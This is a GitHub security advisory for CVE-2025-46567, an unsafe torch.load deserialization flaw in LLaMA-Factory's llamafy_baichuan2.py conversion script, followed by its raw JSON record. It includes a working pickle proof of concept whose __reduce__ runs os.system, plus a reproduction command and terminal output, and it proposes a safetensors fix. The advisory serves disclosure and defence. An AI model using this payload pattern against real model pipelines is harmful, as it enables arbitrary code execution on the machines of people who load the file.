ghsa-f2f7-gj54-6vpv
Vulnerability from github
Description
A critical vulnerability exists in the llamafy_baichuan2.py
script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load()
on user-supplied .bin
files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin
file that executes arbitrary commands during deserialization.
Attack Vector
This vulnerability is exploitable without authentication or privileges when a user is tricked into:
- Downloading or cloning a malicious project folder containing a crafted
.bin
file (e.g. via zip file, GitHub repo). - Running the provided conversion script
llamafy_baichuan2.py
, either manually or as part of an example workflow.
No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir
.
Impact
- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments
Proof of Concept (PoC)
```python
malicious_payload.py
import torch, pickle, os
class MaliciousPayload: def reduce(self): return (os.system, ("mkdir HACKED!",)) # Arbitrary command
malicious_data = { "v_head.summary.weight": MaliciousPayload(), "v_head.summary.bias": torch.randn(10) }
with open("value_head.bin", "wb") as f: pickle.dump(malicious_data, f) ```
An example of config.json
:
json
{
"model": "value_head.bin",
"hidden_size": 4096,
"num_attention_heads": 32,
"num_hidden_layers": 24,
"initializer_range": 0.02,
"intermediate_size": 11008,
"max_position_embeddings": 4096,
"kv_channels": 128,
"layer_norm_epsilon": 1e-5,
"tie_word_embeddings": false,
"vocab_size": 151936
}
bash
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
|-- LICENSE
|-- README.md
|-- malicious_folder
| |-- config.json
| `-- value_head.bin
`-- xxxxx(Irrelevant documents omitted)
```bash
Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out ```
➡️ Running this will execute the malicious payload and create a HACKED!
folder.
bash
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
fire.Fire(llamafy_baichuan2)
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
component, remaining_args = _CallAndUpdateTrace(
^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
save_weight(input_dir, output_dir, shard_size, save_safetensors)
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src
'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests
Affected File(s)
- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
scripts/convert_ckpt/llamafy_baichuan2.py
- Line:
torch.load(os.path.join(input_dir, filepath), map_location="cpu")
Suggested Fix
- Replace
torch.load()
with safer alternatives likesafetensors
. - Validate and whitelist file types before deserialization.
- Require checksum validation.
Example patch:
```python
Replace torch.load() with safe deserialization
try: from safetensors.torch import load_file tensor_data = load_file(filepath) except Exception: print("Invalid or unsafe checkpoint file.") return ```
Workarounds
- Avoid running the script with untrusted
.bin
files. - Use containers or VMs to isolate script execution.
References
Credits
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "llamafactory" }, "ranges": [ { "events": [ { "introduced": "0" }, { "last_affected": "0.9.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-46567" ], "database_specific": { "cwe_ids": [ "CWE-502" ], "github_reviewed": true, "github_reviewed_at": "2025-04-23T22:21:13Z", "nvd_published_at": "2025-05-01T18:15:58Z", "severity": "MODERATE" }, "details": "### Description\n\nA critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.\n\n### Attack Vector\n\nThis vulnerability is **exploitable without authentication or privileges** when a user is tricked into:\n\n1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).\n2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.\n\nNo elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. \n\n### Impact\n\n- Arbitrary command execution (RCE)\n- System compromise\n- Persistence or lateral movement in shared compute environments\n\n\n### Proof of Concept (PoC)\n\n```python\n# malicious_payload.py\nimport torch, pickle, os\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (os.system, (\"mkdir HACKED!\",)) # Arbitrary command\n\nmalicious_data = {\n \"v_head.summary.weight\": MaliciousPayload(),\n \"v_head.summary.bias\": torch.randn(10)\n}\n\nwith open(\"value_head.bin\", \"wb\") as f:\n pickle.dump(malicious_data, f)\n```\n\nAn example of `config.json`:\n\n```json\n{\n \"model\": \"value_head.bin\",\n \"hidden_size\": 4096,\n \"num_attention_heads\": 32,\n \"num_hidden_layers\": 24,\n \"initializer_range\": 0.02,\n \"intermediate_size\": 11008,\n \"max_position_embeddings\": 4096,\n \"kv_channels\": 128,\n \"layer_norm_epsilon\": 1e-5,\n \"tie_word_embeddings\": false,\n \"vocab_size\": 151936\n}\n```\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree\n.\n`-- LLaMA-Factory\n |-- LICENSE\n |-- README.md\n |-- malicious_folder\n | |-- config.json\n | `-- value_head.bin\n `-- xxxxx(Irrelevant documents omitted)\n```\n\n\n```bash\n# Reproduction\npython scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n```\n\n\u27a1\ufe0f Running this will execute the malicious payload and create a `HACKED!` folder.\n\n```bash\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\nCITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out\n2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered\nWARNING: All log messages before absl::InitializeLog() is called are written to STDERR\nE0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered\nE0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered\n2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.\nTo enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.\nLoad weights: 50%|\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u258c | 1/2 [00:00\u003c00:00, 123.70it/s]\nTraceback (most recent call last):\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 112, in \u003cmodule\u003e\n fire.Fire(llamafy_baichuan2)\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 135, in Fire\n component_trace = _Fire(component, args, parsed_flag_args, context, name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 468, in _Fire\n component, remaining_args = _CallAndUpdateTrace(\n ^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/fire/core.py\", line 684, in _CallAndUpdateTrace\n component = fn(*varargs, **kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 107, in llamafy_baichuan2\n save_weight(input_dir, output_dir, shard_size, save_safetensors)\n File \"/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py\", line 35, in save_weight\n shard_weight = torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1040, in load\n return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py\", line 1260, in _legacy_load\n raise RuntimeError(\"Invalid magic number; corrupt file?\")\nRuntimeError: Invalid magic number; corrupt file?\n(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls\n CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src\n\u0027HACKED!\u0027 MANIFEST.in README.md assets docker examples out requirements.txt setup.py tests\n```\n\n### Affected File(s)\n\n- https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35\n- `scripts/convert_ckpt/llamafy_baichuan2.py`\n- Line: `torch.load(os.path.join(input_dir, filepath), map_location=\"cpu\")`\n\n### Suggested Fix\n\n- Replace `torch.load()` with safer alternatives like `safetensors`.\n- Validate and whitelist file types before deserialization.\n- Require checksum validation.\n\nExample patch:\n\n```python\n# Replace torch.load() with safe deserialization\ntry:\n from safetensors.torch import load_file\n tensor_data = load_file(filepath)\nexcept Exception:\n print(\"Invalid or unsafe checkpoint file.\")\n return\n```\n\n### Workarounds\n\n- Avoid running the script with untrusted `.bin` files.\n- Use containers or VMs to isolate script execution.\n\n### References\n\n- [torch.load() \u2014 PyTorch Docs](https://pytorch.org/docs/stable/generated/torch.load.html)\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n\n### Credits\n\nDiscovered and reported by [Yu Rong](https://github.com/Anchor0221) and [Hao Fan](https://github.com/xhjy2020), 2025-04-23", "id": "GHSA-f2f7-gj54-6vpv", "modified": "2025-05-02T15:33:38Z", "published": "2025-04-23T22:21:13Z", "references": [ { "type": "WEB", "url": "https://github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-f2f7-gj54-6vpv" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46567" }, { "type": "WEB", "url": "https://github.com/hiyouga/LLaMA-Factory/commit/2989d39239d2f46e584c1e1180ba46b9768afb2a" }, { "type": "PACKAGE", "url": "https://github.com/hiyouga/LLaMA-Factory" }, { "type": "WEB", "url": "https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L", "type": "CVSS_V3" } ], "summary": "LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.